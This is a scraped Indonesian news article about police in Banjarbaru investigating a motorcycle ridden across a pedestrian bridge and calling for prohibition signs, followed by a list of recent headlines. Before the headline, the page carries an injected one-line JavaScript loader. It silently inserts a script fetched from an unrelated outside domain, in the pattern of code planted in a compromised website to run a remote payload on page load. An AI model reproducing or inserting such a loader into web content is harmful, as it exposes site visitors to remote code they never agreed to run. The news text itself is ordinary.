(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Fungsi JPO Banjarbaru 2 Disalahgunakan, Polisi Minta Rambu Harus Terpasang Jelas


KANALKALIMANTAN.COM, BANJARBARU – Dua kali Jembataan Penyeberangan Orang (JPO) Banjarbaru 2 kecolongan dengan ulah warga yang mencoba dan melintasi di atas Jalan A Yani Km 34.

Geger pertama, saat SH yang memposting foto diakun media sosial, disana ditulis ingin menyeberang JPO menggunakan sebuah sepeda motor. Posisi sepeda motor berwarna merah itu hendak naik ke JPO. Akhirnya, pelaku diminta klarifikasi di Polres Banjarbaru dan membuat permintaan maaf dan dibebaskan.

Menyusul video viral seorang laki-laki menggunakan sepeda motor supra warna hitam, berbaju merah dan celana pendek melintas di atas JPO Banjarbaru 2.

Atas kejadian ini, Polres Banjarbaru masih berupaya melakukan penyelidikan terhadap laki-laki yang melintasi JPO Banjarbaru 2 ini.

 

Hindari penyalahgunaan fungsi, JPO Banjarbaru oleh kepolisian diharuskan terpasang rambu petunjuk dan larangan penggunaan. Foto: ibnu

Baca juga  : Motor Supra Hitam Naiki JPO Banjarbaru 2, Polisi Buru Pengendara

Kepala Seksi (Kasi) Humas Polres Banjarbaru, AKP Tajudin Noor mengatakan, pihaknya masih melakukan penyelidikan. Polres Banjarbaru menyarankan agar dinas terkait menempatkan rambu-rambu petunjuk, seperti rambu khusus disabilitas dan rambu larangan lainnya.

“Saya lihat belum ada rambu-rambunya,” ujarnya, Selasa (10/1/2023) siang.

Diungkapkannya, pihak kepolsisi sedang melakukan lidik dan pengumpukan informasi karena sepeda motor Supra hitam yang dinaiki laki-laki ini tidak memiliki plat nomor polisi.

Menurutnya, laki-laki yang melintasi dengan motor Supra hitam itu ada unsur kesengajaan. Dirinya berasumsi masyarakat awam berpikir jalur tengah tersebut jalur motor karena tidak adanya rambu larangan.

Kasi Humas Polres Banjarbaru, AKP Tajudin Noor. Foto: ibnu

Baca juga  : Delapan Halte Baru di Banjarbaru Belum Maksimal Dipakai, Bus Malah Tak Singgah

“Cuman, mereka itu ada ketidaktahuan, itu boleh atau tidak (naik pakai motor), karena belum ada rambu larangannya,” jelasnya.

Masih kata AKP Tajudin, jika rambu terpasang dan orang nekat naik menggunakan sepeda motor, maka orang itu melakukan pelanggaran dan akan dikenakan sanksi. Sanksi pelanggaran sepertu penahanan barang bukti berupa sepeda motor dan membuat pernyataan atau dikenakan sanksi sesuai Undang-Undang yang berlaku.

“Jelas akan diberi sanksi, sesuai UU No. 22 Tahun 2009 tentang Lalu Lintas dan Angkutan Jalan,” tuntasnya. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

Serang Markas Polisi di Kobar Kalteng, Empat Lelaki Diringkus

KANALKALIMANTAN.COM, PANGKALAN BUN - Malam yang seharusnya tenang di Desa Pangkalan Banteng, Kabupaten Kotawaringin Barat… Read More

29 menit ago

Pj Bupati Kapuas Perpisahan dengan Dua Pejabat Purna Tugas

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi didampingi Pj Ketua TP PKK… Read More

2 jam ago

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

17 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

20 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

23 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

24 jam ago

This website uses cookies.